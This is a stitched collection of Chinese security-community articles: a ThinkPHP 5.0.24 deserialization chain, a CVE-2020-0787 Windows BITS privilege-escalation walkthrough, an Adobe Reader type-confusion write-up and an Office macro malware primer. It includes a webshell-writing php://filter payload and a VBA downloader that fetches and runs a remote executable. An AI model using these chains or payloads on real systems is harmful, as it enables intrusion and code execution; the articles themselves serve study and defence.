在数据共享过程中，某些数据在共享前后要保持其部分可识别性和唯一性，此时可采用数据脱敏技术进行敏感数据保护。在数据共享出入口处，数据处于流动状态，因此适合动态数据脱敏技术，在数据传递的过程中进行脱敏。脱敏的方法支持截断、屏蔽、掩码、哈希和标识转换等常见方法。另外，由于网络流量需校验数据完整性，所以动态数据脱敏技术只能在网络流量数据落地后适用。
## 四、结语
未来，跨域数据共享将成为常态，实施有效的跨域数据泄露防护方法是推进跨域数据共享的重要手段之一，本文从技术措施角度对数据泄露防护进行探讨，希望与有识之士进行交流，提升跨域数据共享的安全性与效率。
参考资料：
[1]Data Leakage Prevention for Secure Cross-Domain Information Exchange [J]
yrre Wahl Kongsgård, Nils Agne Nordbotten, Federico Mancini, Raymond Haakseth,
and Paal E. Engelstad
[2]Data Leakage Prevention for Data in Transit using Artificial Intelligence
and Encryption Techniques [J] Mohammed Ghouse DM,Manisha J. Nene,V embuSelvi C
[3]信息安全技术 数据安全能力成熟度模型 [M] 中华人民共和国国家质量监督检验检疫总局&中国国家标准化管理委员会发布
[4]公共数据开放的政府主体责任研究 [J] 储节旺 杨 雪
[5]数据防泄漏技术模型的发展方向分析 [J] 万 淼 | 社区文章 |
# ThinkPHP5.0.24 反序列化浅析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
对于这个漏洞的学习，有几个大体的思路，一是向大佬学习；二是找到可以利用的点，再不断构造合理的对象向这个点靠近；三是把几个子链分别构造好再连起来。
另外，查到的资料说这个漏洞并不是适用于所有的TP5.0.X版本，这里为了不产生歧义，只记成TP5.0.24版本。
## 二、分析
### （一）环境搭建
Windows、PHPStudy(PHP5.6)、ThinkPHP5.0.24；
首先安装此版本的ThinkPHP，
composer create-project topthink/think tp 5.0.24
index controller改为
class Index
{
public function index()
{
@unserialize($_GET['k']);
}
}
调用栈如下，
File.php:160, think\cache\driver\File->set()
Memcache.php:94, think\session\driver\Memcache->write()
Output.php:154, think\console\Output->write()
Output.php:143, think\console\Output->writeln()
Output.php:124, think\console\Output->block()
Output.php:212, call_user_func_array()
Output.php:212, think\console\Output->__call()
Model.php:912, think\console\Output->getAttr()
Model.php:912, think\Model->toArray()
Model.php:936, think\Model->toJson()
Model.php:2267, think\Model->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()
App.php:8, app\index\controller\Index->index()
### （二）分析与调试
分为几个部分进行分析。
**1.从Windows.removeFiles()到Model.toArray()**
从Windows的__destruct开始看，
close()中没有可以直接使用的点，removeFiless()中有file_exists()的判断，如果file_exists()的参数是一个对象，则会调用其对应类的`__toString()`方法，
think\Model中有很好的`__toString()`方法，其中调用了toJson，toJson中调用了toArray。
这里需要注意，Model是个抽象类，没法直接从抽象类创建对象，它的意义在于被扩展，
经过搜索，可以选择Pivot与Merge两个类作为具体实现，选择哪一个对主干不会产生太大影响，但会对PoC的写法产生细微差别（个别字段的public与private属性），这里先选择Merge。
进入Model.toArray之后，就该考虑如何进一步调用到`Output.__call()`。
**2.从Model.toArray到Output.__call()**
从Model的toArray中，我们可以看到有若干个疑似可以利用的点，选择不同的触发点会对整个流程产生一定影响。此处选择`$item[$key] =
$value ? $value->getAttr($attr) : null;`这一点。
接下来遇到一个很现实的问题，就是找到了这个点之后，怎么在$value有意义的前提下，保证程序可以在前面的若干行代码中不出错，进而顺利正常抵达这里。
**（1）进入else**
首先最高级的if和内部的大else前面的if和elseif较为直接，要求如下：$this->append不为空，$name不可为数组，$name不可包含“.”。这里是遍历$this->append数组，而这个数组是我们可控的，则对应的$key和$name也都可控，故这里可以较为容易的走过。这一部分可以简单走过，重要的是else之中的隐藏的阻碍。
**（2）parseName与进入if (method_exists($this, $relation))**
首先跟进看Loader::parseName($name, 1, false);
功能是字符串命名风格转换，应该来讲没什么影响，$relation应该可以和$name直接划等号。
接下来看如何使method_exists($this,
$relation)这一条件为true，这要求我们找一个Model或其子类中存在的方法名，由此可见，上一小步中的$this->append不能随意构造，应该放入一个合适的方法名。
**（3）getRelationData**
可以看到，在判断$this中定义了$relation函数后，便会调用这个函数，赋值给$modelRelation变量，且接下来还会将$this->getRelationData($modelRelation)赋值给$value，$value将在`$item[$key]
= $value ? $value->getAttr($attr) :
null;`这关键一行中发挥作用，这就要求我们找到一个具有优良性质的函数来串起这一切。
Model类中的getError方法具有逻辑简单、返回值直接可控的性质，没有比这个函数还好用的函数了，也许选别的也可以，但选这个准没错。
我们将$this->append赋值为[‘getError’]，$this->error的值可根据需要再行设定。
跟进看下一行的`$value = $this->getRelationData($modelRelation);`，
有一个比较严苛的条件`if ($this->parent && !$modelRelation->isSelfRelation() &&
get_class($modelRelation->getModel()) == get_class($this->parent))`。
首先$this->parent不能是null，其次还得有isSelfRelation()和getModel()这两个方法，且$modelRelation->isSelfRelation()的返回值不为空，最后还有一个类型比较。
若想研究isSelfRelation()和getModel()这两个方法，得先保证$modelRelation有这两个方法，否则就不用研究这两个函数了。另外，根据上面的构造的分析，我们知道$modelRelation实质上是$this->error，$this->error的值便依此而定。
经过搜索发现，Relation类中有这两个方法的定义，但是和Model一样，Relation是个抽象类，我们需要寻找它的可用的子类。
看看另外两个函数。
其一返回Model的selfRelation，由于要加上逻辑否，这里设置为false即可；其二最终返回了$this->query->model。我们要保证$this->query->model和$this->parent属于相同类。在没有向下看之前，这里的要求还相对宽松，大概只能推测出$this->error要是Relation的子类，$value
的值由$this->parent决定这两点。
**（4）method_exists($modelRelation, ‘getBindAttr’)**
这算得上是这一子链的较为关键的一部分，
要想进入红色的触发点，必须保证$modelRelation中存在getBindAttr()方法，且$bindAttr要具有一定的性质。
上面提到$modelRelation实际上是$this->error，是我们可控的，且要是Relation的子类，
我们搜索发现，只有OnetoOne类中定义了getBindAttr()方法，
且查看后发现，此类是继承了Relation的抽象类，可以满足此一步和上一步的要求。
接下来要做的是找一个合适的OneToOne的子类。全局搜索，找到如下两个，
经过查看，这两个的相关属性和方法几乎一模一样，选择哪个应该都可以，只是PoC写的时候有所区分，这里选择HasOne。
由刚才的分析，我们知道，这一段中有两个举足轻重的变量：$this->error（即$modelRelation）和$this->value，刚才我们的分析主要集中在能够保证抵达触发点的$this->error上，至于触发点处的$this->value的取值，要考虑到后续的利用，根据大佬的指点，我们后面要使用Output.__call()，所以$this->value必须为Output对象，
且由getRelationData()知，$this->parent应为Output对象。
因为还要过`get_class($modelRelation->getModel()) ==
get_class($this->parent)`这一道障碍，$this->query->model也应和$this->parent一样，是Output对象。class
Query中天然带着$model，可以作为$this->query，其$model属性应为Output对象。
**(5)$modelRelation- >getBindAttr()**
接下来要研究的是$bindAttr = $modelRelation->getBindAttr();这一句。
跟进可见，这一函数功能也是非常简单直接，我们可以直接控制$this->bindAttr为我们想要的对象。
首先$this->bindAttr应该是一个不空的数组，接下来$this->data直接为空即可保证能够进入else即可，这里重要的是$value，不管$attr是何值，只要能够触发Output->getAttr($attr)就会去调用__call方法，就能进入下面的环节了。
**3.从Output.__call()到Memcached.write()**
跟进Output.__call()，
在简单构造$this->styles后，就能进入`call_user_func_array([Output, 'block'],
$args)`，调用block方法，
接下来能否成功利用，就看Output的$this->handle->write了。
首先Output.handle是可控的，我们要找一个带有合适的write()方法的类。
搜索一下，发现了数个定义有write的类，
从中有没有比较合适的呢，经过学习可知，我们可以选择think\session\driver\Memcached 类。Memcached的write()
中调用了
$this->handler->set()方法，且$this->handler可控，再加上think\cache\driver\File中的set()
方法可以写文件，故而选择Memcached。
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
**4.Memcached.write()- >File.set()**
但当仔细观察时，我们会发现这个思路其实是存疑的：此处可以写入文件不假，但是否可以写入webshell有待考证，因为这里的$data未必是可控的。
向上找$data，会发现$data的值为定值true，这样一来，如果没有进一步方案，写入shell的想法就会失败。
这时如果我们接着往下看，会看到一句`$this->setTagItem($filename)`的代码，其将文件名$filename作为参数传给了setTagItem()，跟进setTagItem($name)，
可以看到此处将$filename作为$value，又调用了一次$this->set()方法，也就是说，如果文件名构造得当，还是有机会写入webshell的。
而$filename的值是由getCacheKey产生的，跟进之。
可以看到，这个函数相对友好，有一个md5哈希操作和一个与$this->options[‘path’]的拼接操作，在一定条件下，最终的$filename基本上是可控可知的。但是要注意到$data是由`$data
= "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" .
$data;`这样一句产生的，应想办法解决掉这个`exit()`，另外如果是在Windows环境下写文件还需要将一些特殊符号转化掉，这里就涉及到一个较为深入的知识点了，有大佬已经做了详细的解读（[链接一](https://www.anquanke.com/post/id/202510)、[链接二](https://xz.aliyun.com/t/7457)），这里直接拿来用，令`$this->options['path']`为`'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/../a.php',`。
如此，在第一次进入set()时，我们生成了一个文件名为
`php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/../a.phpc9a7cef7c410e3ea21c4287f392fd663.php`，
内容为
`<?php
//000000000000
exit();?>
b:1;`的文件，
第二次由setTagItem($filename)进入set()，才是生成webshell的关键一步。
文件名为`$this->options['path'].md5('tag_' .
md5($this->tag)).'.php'`即`php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/../a.php3b58a9545013e88c7186db11bb158c44.php`的文件，其内容为`<?php
//000000000000
exit();?>
s:154:"php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/../a.phpc9a7cef7c410e3ea21c4287f392fd663.php";`。
在过滤器的作用下，将写出webshell。
最后发送个想要的POST包即可。
## 三、参考链接
感觉到整条链分析的过程是很有意思的，追溯思路与调试时不停地感叹大佬tql，“妈妈问我为什么跪着玩电脑”。
<https://github.com/Mochazz/ThinkPHP-Vuln/blob/master/ThinkPHP5/ThinkPHP5.0.X%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE.md>
<https://www.anquanke.com/post/id/196364>
<https://xz.aliyun.com/t/7457> | 社区文章 |
# CVE-2020-0787 本地提权漏洞简要分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
任意文件移动漏洞是近几年来Windows漏洞中一类非常特殊的存在，相对于内存破坏漏洞而言，这类漏洞不会导致目标主机蓝屏，在执行时有较高的稳定性和隐蔽性，是在进行Red
Team行动时的首选。
这类漏洞中一个比较典型的例子就是CVE-2020-0787，为了对它有一个更加深刻的理解，对其漏洞利用代码进行调试分析。
首先从网站上下载[项目文件](https://github.com/itm4n/BitsArbitraryFileMove)导入VS2019当中，并双击文件夹当中的sln项目打开。
整个工程分为了五个部分，分别是 `BitsArbitraryFileMove` 、 `BitsArbitraryFileMoveExploit` 、
`BitsArbitraryFileMovePoc` 、`CommonUtils` 以及 `UsoDllLoader`
。编译生的Release文件夹中包含有两个可执行文件， `BitsArbitraryFileMoveExploit.exe` 和
`BitsArbitraryFileMovePoc.exe`
需要注意的是，原项目直接进行编译可能不会通过，要在 `BitsArbitraryFileMove.cpp` 文件中 `include` 包含
`CommonUtils.h` 的头文件
#include <CommonUtils.h>
否则会产生CreateSymlink定义不存在的错误。
## 创建目录和挂载
将 `"C:\Windows\System32\WindowsCoreDeviceInfo.dll"` 作为参数传入了
`BitsArbitraryFileMove::Run` 函数中
1. 首先检查了 `WindowsCoreDeviceInfo.dll` 是否已经在 `System32` 文件夹当中存在。如果存在的话直接退出
2. 调用 `BitsArbitraryFileMove.cpp` 中实现的 `PrepareWorkspace()` 函数生成一个工作空间
1. 通过GetTempPath获取当前用户的Temp目录，一般而言这个目录为 `C:UsersxxxAppDataLocalTemp`
2. 通过CreateDirectory在Temp目录下创建名为workspace的目录
3. 通过CreateDirectory在workspace目录下创建名为mountpoint的目录
4. 通过CreateDirectory在workspace目录下创建名为bait的目录
0) Prepare workspace
Create %Temp%workspace
Create %Temp%workspacemountpoint
Create %Temp%workspacebait
<DIR> %Temp%workspace
|__ <DIR> mountpoint
|__ <DIR> redir
3. 如果提供了自己的恶意dll文件就直接使用提供的恶意dll文件地址，否则自己生成一个dll文件，生成的文件内容随意
BOOL BitsArbitraryFileMove::WriteSourceFile()
{
HANDLE hFile;
BOOL bErrorFlag = FALSE;
const char* fileContent = "foo123rn";
DWORD dwBytesToWrite = (DWORD)strlen(fileContent);
DWORD dwBytesWritten = 0;
hFile = CreateFile(m_wszSourceFilePath, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
[...]
4. 调用 `ReparsePoint::CreateMountPoint` 生成一个挂载，将mountpoint目录挂载到bait目录上。(ReparsePoint挂载了用户定义的数据）
## 调用BITS服务
首先在mountpoint文件夹下面创建了一个 `test.txt` 文件，然后调用了 `CbitsCom.cpp` 文件当中的 `PrepareJob`
函数。函数的具体工作如下：
1. CoCreateInstance通过UUID创建 `BackgroundCopyQMgr` 实例
2. 调用 `StringFromCLSID` 根据 `BITSCOM_GUID_GROUP` 生成String类型的 `groupGuidStr`
3. 调用 `GetGroup` 获得 `m_pBackgroundCopyGroup`
4. `m_pBackgroundCopyGroup->CancelGroup()`取消CopyGroup当中的group
5. `m_pBackgroundCopyQMgr->CreateGroup()` 生成CopyQMgr对应的group
6. `m_pBackgroundCopyGroup->CreateJob` 创建一个job，把这个job对应的实例保存到 `m_pBackgroundCopyJob1` 当中去
7. 调用 `m_pBackgroundCopyJob1->AddFiles` 将本地的 `\\127.0.0.1\C$\Windows\System32\drivers\etc\hosts` 文件和在mountpoint文件夹下面创建的 `test.txt` 文件作为参数传入
这样AddFiles就OK了。创建了一个BIT传输的任务，任务的意思是将`\\127.0.0.1\C$\Windows\System32\drivers\etc\hosts`
传输到 `test.txt` 当中
## 查找BITS创建的TMP文件
因为之前已经将mountpoint当中的bait文件夹挂载成了bait文件夹的链接，因此可以在这个文件夹当中找到名为 `BIT*.tmp` 的文件。
调用了FindFirstFile函数，将搜索到的变量信息保存到 `structWin32FindData` 变量当中。
BOOL BitsArbitraryFileMove::FindBitsTempFile()
{
WIN32_FIND_DATA structWin32FindData;
[...]
ZeroMemory(wszSearchPath, MAX_PATH * sizeof(WCHAR));
StringCchCat(wszSearchPath, MAX_PATH, m_wszBaitDirPath);
StringCchCat(wszSearchPath, MAX_PATH, L"BIT*.tmp");
hRes = FindFirstFile(wszSearchPath, &structWin32FindData);
搜索到的名字保存在 `m_wszBitsTempFileName` 变量当中。
## 给查找到的文件设置oplock
oplock全称为Opportunistic
Locks。是客户端给放置在服务器上文件上的锁，在大多数情况下，客户端请求一个oplock，以便它可以在本地缓存数据，从而减少了网络流量并缩短了明显的响应时间。
oplock由具有远程服务器的客户端上的网络重定向器以及本地服务器上的客户端应用程序使用。
oplock协调客户端和服务器之间以及多个客户端之间的数据缓存和一致性。一致的数据是整个网络上相同的数据。换句话说，如果数据是连贯的，则服务器和所有客户端上的数据将同步。
这里给查找到的BITS创建的TMP文件上了一个oplock，这样就会把bait文件夹下面的TMP文件和对应的
**workload文件夹下面的TMP文件进行同步** 。
设置oplock通常通过 DeviceIoControl 的系统调用来进行，设置调用的状态 dwIoControlCode 为对应的OPLOCK值即可。
if (exclusive)
{
DeviceIoControl(g_hFile,
FSCTL_REQUEST_OPLOCK_LEVEL_1,
NULL, 0,
NULL, 0,
&bytesReturned,
&g_o);
}
else
{
DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK,
&g_inputBuffer, sizeof(g_inputBuffer),
&g_outputBuffer, sizeof(g_outputBuffer),
nullptr, &g_o);
}
## 调用Resume函数进行同步
调用 `CBitsCom::ResumeJob()` 函数之后，就会开始进行传输，将
`\\127.0.0.1\C$\Windows\System32\drivers\etc\hosts`
文件写到TMP文件当中，这个过程仍然是模拟用户进行的。
从上图中可以看出，在开始往tmp文件中传输的时候依然还是模拟的user3用户
// --- Resume job --- hRes = pBackgrounCopyJob->Resume();
if (FAILED(hRes))
{
wprintf(L"[-] IBackgroundCopyJob->Resume() failed. HRESULT=0x%08Xn", hRes);
return BITSCOM_ERR_RESUMEJOB;
}
## 创建挂载点
等待Oplock的触发，如果触发了Oplock，说明BITS服务的传输已经完成了。正准备对TMP文件进行重命名，这里是这个漏洞的关键位置所在。重命名的时候不会`impersonate`当前的用户，而是以服务本身的权限去执行的。
通过procmon可以看到当创建完挂载点之后进行重命名，也就是调用 `CreateFile`
的时候没有模拟当前的用户。这个时候在重命名之前重新挂载文件的位置就能在 **重命名的时候** 把创建的链接文件也同时一起移动。
在进行重命名之前，我们还可以做一些其他的工作
1. 首先删除了mountpoint文件夹下面的挂载点 ( `ReparsePoint::DeleteMountPoint` 删除了挂载点)
2. 重新将mountpoint挂载到 `\RPC Control` 上 ( `ReparsePoint::CreateMountPoint` 创建了新的挂载点)，这样在对TMP文件进行进行重命名的时候也会将dll文件从一个位置移动到另一个位置。这一点可以参考[这一篇文章](https://offsec.almond.consulting/intro-to-file-operation-abuse-on-Windows.html)。
## 创建Symlinks
创建完挂载点之后，访问 `RPC Control` 就是访问我们创建的mountpoint目录。
创建这个新的挂载点的目的是为了最后在重命名的时候能够将我们自己的 `FakeDll.dll` 移动到 `System32` 下面。
C:workspacemountpoint -> RPC Control
Symlink #1: RPC ControlBIT1337.tmp -> C:workspaceFakeDll.dll
Symlink #2: RPC Controltest.txt -> C:WindowsSystem32FakeDll.dll
调用 `CreateSymlink` 函数生成挂载文件，首先将 `RPC ControlBITxxx.tmp` 挂载到全局路径的workspace的
`FakeDll.dll` 上面。
接着继续调用 `CreateSymlink` 函数生成挂载文件，将 `RPCControltest.txt` 文件挂载到system32目录下的
`FakeDll.dll` 上面。
## 调用Release完成文件移动
已经创建完成了链接之后，继续调用Release能够通过BITS服务的文件移动功能将文件从 **workspace目录** 下面移动到
**System32目录** 下面。
在 `CBitsCom::CompleteJob()` 函数中实现，复制当前job的指针并保存到 `pBackgroundCopyJob`
变量当中，调用GetState获取当前job的状态。直到当前的状态等于 `BG_JOB_STATE_TRANSFERRED` 之后退出。
[*] Job state: BG_JOB_STATE_CONNECTING
[*] Job state: BG_JOB_STATE_TRANSFERRING
[*] Job state: BG_JOB_STATE_TRANSFERRED
调用Complete函数完成当前job，即通过Symlink将Fake.dll移动到system32处。
## 获取一个SYSTEM权限的shell
最终使用了UsoDllLoader获得SYSTEMshell。UsoDllLoader同样也是该作者实现的一个项目，顾名思义，这个项目是用来加载Dll并实现本地权限提升的(Local
Privilege Escalation)。在Windows10之后，微软提供了一种名叫 `Update Session Orchestrator`
的服务。通过这个服务能够作为一个普通用户去用COM和系统服务通信，并开始一个 `"update scan"` 去进行更新。甚至存在一个未被记载的工具
`usoclient.exe` 实现更新的目的。并且他在 **开始更新的时候** 还会尝试去加载一个 **不存在的DLL**
`windowscoredeviceinfo.dll` 。因此如果找到了一个任意文件写的漏洞，就能够将我们自己版本的
`windowscoredeviceinfo.dll` 复制到 `C:WindowsSystem32`
当中然后用USO服务加载它，以SYSTEM的权限获得任意代码执行的能力。
需要更加详细的了解的话，可以参考下面的两篇文章
1. <https://itm4n.github.io/usodllloader-part1/>
2. <https://itm4n.github.io/usodllloader-part2/>
## 版本限制
Windows10 教育版 1903.18362.30上能够成功利用漏洞，USODllLoader的漏洞也没有被补上
Windows10 教育版 1903.18362.900之后的版本中BITS传输的漏洞就已经被补上了
调用CREATE创建tmp文件的时候会模拟当前的用户，传输会失败（没有往system32文件夹下面写文件的权限）。执行最后一步的时候会出现
`BG_JOB_STATE_ERROR` 的错误。
## 参考
1. <https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION>
2. <https://www.4hou.com/posts/wRQ1>
3. <https://itm4n.github.io/cve-2020-0787-windows-bits-eop/>
4. <https://blog.csdn.net/oShuangYue12/article/details/106800389>
5. <https://docs.microsoft.com/en-us/windows/win32/fileio/reparse-points> | 社区文章 |
# CVE-2018-12794 一个类型混淆导致的代码执行
我们看到大多 PDF 文档的漏洞被提交给了 ZDI ，其中大部分都是涉及到了 Adobe Reader
这款软件。然而在众多的提交报告中，只有特别的漏洞才能吸引我们的眼球。在七月份中的 Reader 的更新报告中涉及到了一个 CVE-2018-12794 /
ZDI-18-682 的补丁。 Sebastian Apelt 写了一份高质量的 write-up 向我们介绍了这个漏洞。
## The Setup
The underlying cause of the vulnerability is a [Type
Confusion](https://cwe.mitre.org/data/definitions/843.html) condition. By
constructing an XML Data Package (XDP) template and performing certain
JavaScript actions on XML Forms Architecture (XFA) objects, an attacker can
force Reader to reference data out of the bounds of a Template object. When
successful, code execution occurs within the sandboxed renderer process.
漏洞的类型是一个类型混淆。通过构建一个 XML 数据包（XML Data Packge）模版并对 XML Forms
Architecture（XFA）对象执行某些 JavaScript 操作，攻击者可以强制 Reader 从
模版对象的边界数据。成功后，代码将在沙箱的进程中执行。
## The Vulnerability
The XDP template required to trigger this vulnerability is surprisingly
simple:
触发漏洞的 PoC 是很简洁的（XDP template）：
该漏洞由两条 JavaScript 指令触发。通过将一个子表单附加到另一个子表单，我们可以触发底层模板对象的Out-Of-Bounds（OOB）Read。在这种情况下，附加一个引用的子表单时会发生漏洞
xfa.template and one by xfa.form and then calling <object>.presence = “inactive”;.
After enabling PageHeap, the resulting crash happens on a CMP instruction when
reading OOB of the Template object. While the object only seems to be of size
`0x140` bytes, we dereference data beyond the buffer boundaries at offset
`0x1d0`:
当我们启动 PageHeap后，在读取越界的 Temlate 对象的时候，会在 CMP 指令上发生 crash
。虽然对象大概只有0x140大小，我们可以对数据解引用到0x1d0位置，超过了本来的范围
## Diving Deep
Based on the crash, we know the unique object’s type is `0x7c00`. By looking
at the symbolized version of `acroform.api` from Solaris 9.4.1, we can see
that this specific type id belongs to the `XFATemplateModelImpl` object, which
is simply the “template” object from the underlying XDP:
基于崩溃，我们知道 unique objects 的类型是 0x7c00。通过查看 Solaris 9.4.1中 acroform.api
的符号化版本，我们可以看到这个特定的类型id属于XFATemplateModelImpl对象，它只是来自底层XDP的“模板”对象：
Going back to the non-symbolized Windows version of `acroform.api` confirms
that the Template object is of size `0x140` bytes, which is the size of the
object referenced OOB from above. The size can be found in a few easy steps:
回到没有符号的 windows 版本的 `acroform.api` 确认Template
对象的大小为0x140字节，这是从上面引用OOB的对象的大小。这个大小我们只需几个简单的步骤就能找到：
* Find the static variable `0x7c00` in `Acroform.api` and look for the `XFATemplateModelImpl::Type` method:
从 `Acroform.api` 中找到静态变量 `0x7c00` 并查找 ``XFATemplateModelImpl::Type` 的方法
* Xref gives you `XFATemplateModelImpl` vtable:
通过交叉引用得到`XFATemplateModelImpl` 的虚表
* Xref to vtable start gives you constructor
通过交叉引用 虚表的开始地址 得到 构造函数。
* Xref to constructor and scrolling a few lines up will show you the object’s size, which is `0x140` bytes:
通过交叉引用构造函数之后向上滚动几行，我们就能看到安个对象的大小。大小为 0x140 字节
Since we cause an OOB read of the Template Object, we can surmise the code
expected a different, larger object instead of the Template object, which also
indicate this is a type confusion bug. Most likely, the type confusion occurs
between the `xfa.template` and `xfa.form` objects. While `xfa.template` is of
size `0x140` bytes, the `xfa.form` object has size `0x270` bytes.
因为我们在读Template对象的时候造成了OOB读，我们可以确信这段代码本来是想要一个不一样的，更大的对象而不是Template对象，也就是说这是一个类型混淆漏洞。更可能是是，在xfa.template和xfa.form对象之间有一个类型混淆，而xfa.template是0x140大小，xfa.form对象是0x270大小
## The Exploit
We can’t execute JavaScript code before the Template Object is instantiated,
so controlling the crash isn’t trivial. To accomplish this, an exploit would
need to resort to controllable allocations and frees during the PDF parsing
process or any other controlled data handling before XDP parsing happens. An
alternative method to control the crash would be to construct a PDF that
contains an attached PDF that triggers the vulnerability. Heap feng shui would
have to happen in the “outer” PDF triggering the vuln in the “inner”
(attached) PDF. Then again, opening the attached PDF in a way that makes it
execute JavaScript code requires elevated privileges, so it might not be
effective against most users.
我们无法在实例化模板对象之前执行JavaScript代码，因此控制崩溃并非易事。为了实现这一点，在XDP解析发生之前，在PDF解析过程或任何其他受控数据处理期间，漏洞的利用需要求助于可控制的分配和释放。控制崩溃的另一种方法是构建一个PDF，然后PDF里再嵌套一个可以触发漏洞的PDF。堆风水按理说可以在外层PDF里来做，从而触发内层（attach上去的）PDF。那么又回来了，打开attach的PDF来让他执行js代码需要逃逸之后的权限，所以对于大多数用户来说可能没有太好的效果
The fact that this crash can be controlled can be observed by executing
poc.pdf without PageHeap. The resulting crash will eventually occur due to
parts of a Unicode string being read and used as a pointer. The following is a
crash output without PageHeap:
事实上，我们可以通过在没有PageHeap的情况下执行poc.pdf来观察是否可以控制此崩溃。造成崩溃的原因是，读取了Unicode字符串的一部分并被当作指针使用，最终造成了崩溃。以下是没有PageHeap的崩溃输出：
## Conclusion
If you want to test this out for yourself, the PoC is
[here](https://github.com/thezdi/PoC/tree/master/CVE-2018-12794). It should
work on Adobe Reader versions prior to 2018.011.20040.
如果你想要测试这个漏洞，PoC的地址在[这](https://github.com/thezdi/PoC/tree/master/CVE-2018-12794)。只在
Adobe Reader 2018.011.20040 的版本有效。
Looking at the advisories we’ve published this year, you’ll find a heap of
PDF-related cases. Adobe Reader may be the most popular, but plenty of bugs
exist in Foxit Reader as well. Throw in built-in PDF renderers in operating
systems, and it’s understandable why so many researchers investigate this
attack surface.
看看我们今年发布的报告，您会发现一堆与PDF相关的案例。 其中 Adobe Reader
可能是最受欢迎的，但福昕阅读器中也同样存在大量漏洞。因为操作系统一般都内置了 PDF renderers，所以有那么多的研究者研究这个攻击面也不为过。 | 社区文章 |
# 恶意代码分析之Office宏代码分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在之前的文章中，讲述了几个常见的恶意样本的一些常规分析手法。主要使用的工具有exeinfo(查壳)、IDA(静态分析)、od&xdbg32(动态调试)、Systrace&火绒剑(行为分析)等。从本小节开始，文章将讲述不同种类的非PE样本和一些更复杂的PE样本如何调试和分析。关于非PE样本的概述，在之前的文章中已经进行了概要的介绍，目前来讲，非PE样本在攻击链中往往属于重要的部分。在本节中，笔者将详细介绍关于office宏类的非PE样本的分析方法。
## 0x01 Office宏简介
该部分的主要内容来源于19年年底我看到的一个英文论文，原文链接暂时找不到了，后续如果找到了我会贴在评论中。
### 基于宏的攻击活动
目前利用office宏进行攻击应该是一个比较主流的攻击方式了，但是通常情况下，宏代码并不能很好地实现所有的功能，更多的时候，宏代码都是作为一个加载器或者下载器载攻击中发挥作用的。
有时候，宏代码会直接访问攻击者的C2，下载恶意文件到本地运行。
有时候，宏代码会解密释放出一个powershell代码，再调用powershell脚本，通过powershell脚本去实现环境检测、文件下载等功能。
宏代码基于的是VB的语法，如果没有混淆的宏代码阅读起来倒是比较方便，但是现在的大多数宏样本都会有混淆和一些反调试手法，所以在遇到各类宏代码的时候也要根据情况去分析。
### 一些钟爱office宏攻击的家族
**Emotet**
Emotet是一个专注于银行攻击的木马家族，该家族从2014年活跃至今，别是在2019年，每天Emotet都会在全球发送超过十万封钓鱼邮件进行攻击。关于Emotet，是目前比较活跃的银行木马，该组织的攻击样本也比较有特色，之后有机会写一篇文章对该家族的样本进行一个完整的分析。
**FTCODE**
一款由宏作为载体，释放powershell实现的勒索软件，活跃至2019年。
**Sandworm: BlackEnergy / Olympic Destroyer**
sandworm每次攻击的起始都是宏
2015年和2016年两次袭击乌克兰发电厂，导致停电。2018年攻击平昌冬奥会。
**Other**
除此之外，还有像Dridex、Rovnix、Vawtrak、FIN4、Locky、APT32、TA505、Hancitor、Trickbot、FIN7、Buran、
Ursni、Gozi,、Dreambot、 TA2101/Maze ransomware、 等家族，都会在攻击过程中使用到带有恶意宏代码的office文档。
### 恶意宏如何运行
先来看一个典型的宏利用文档打开的提示：
由于宏的危险性，office通常情况下默认是禁用宏执行的，所以当带有宏的文件打开，就会询问用户是否开启宏，为了让用户在不知情的情况下启用宏，攻击者也是想了很多方式，我大概遇见过这么几种：
1.在文档中间显示一个模糊的图片，提示用户启用宏才能查看清晰图片。
2.在文档中伪造安全的机构，比如伪造微软，或者伪造一个杀软的图标，让用户相信这个文档是安全的。
3.与用户交互，把宏代码的执行设置在用户单击了某个图片或者按钮则提示用户启用宏。
### 恶意宏代码通常被用来做什么
一般来讲，恶意宏代码可以实现以下操作：
Run Automatically 自动运行
Download Files 下载文件
CreateFiles 创建文件
Execute a file 执行、启动文件
Run a system command 执行系统命令
call any dll 调用任意dll
Inject Shellcode 注入shellcode
Call any ActiveXObkject 调用任意的ActiveXObject
Simulate Keystrokes 模拟用户点击
…
需要注意的是，一个恶意程序可能完全由宏实现，但是更多的情况下，宏用于加载或者下载其他恶意程序。所以对于一个未知的office文档来讲，启用office的宏和打开未知的exe文件一样危险：
一个简单的VBA Downloader（下载者），有时候也称为Dropper（加载器）示例：
private Declare Function URLDownloadToFileA Lib "urlmon"
(ByVak A AS Long,ByVal B As String ,
ByVal C As String ,ByVal D As Long ,
ByVal E As Long ) As Long
Sub Auto_Open()
Dim result As Long
fname = Environ("TEMP") & "agent.exe"
result =URLDownloadToFileA(0,"http:compromised.com/payload.exe",fname,0,0)
Shell fname
End Sub
这里使用的URLDownloadToFileA来自于系统dll urlmon.dll
在第六行定义了名为Auto_Open的函数，该函数在文档打开的时候会自动运行（如果允许文档执行宏）
第八行滴位置，指明了下载文件的存放路径和名称
第9行的地方调用了URLDownloadToFileA函数，下载文件保存到本地
第10行的位置执行下载的payload
### 简单的混淆、反调试技术
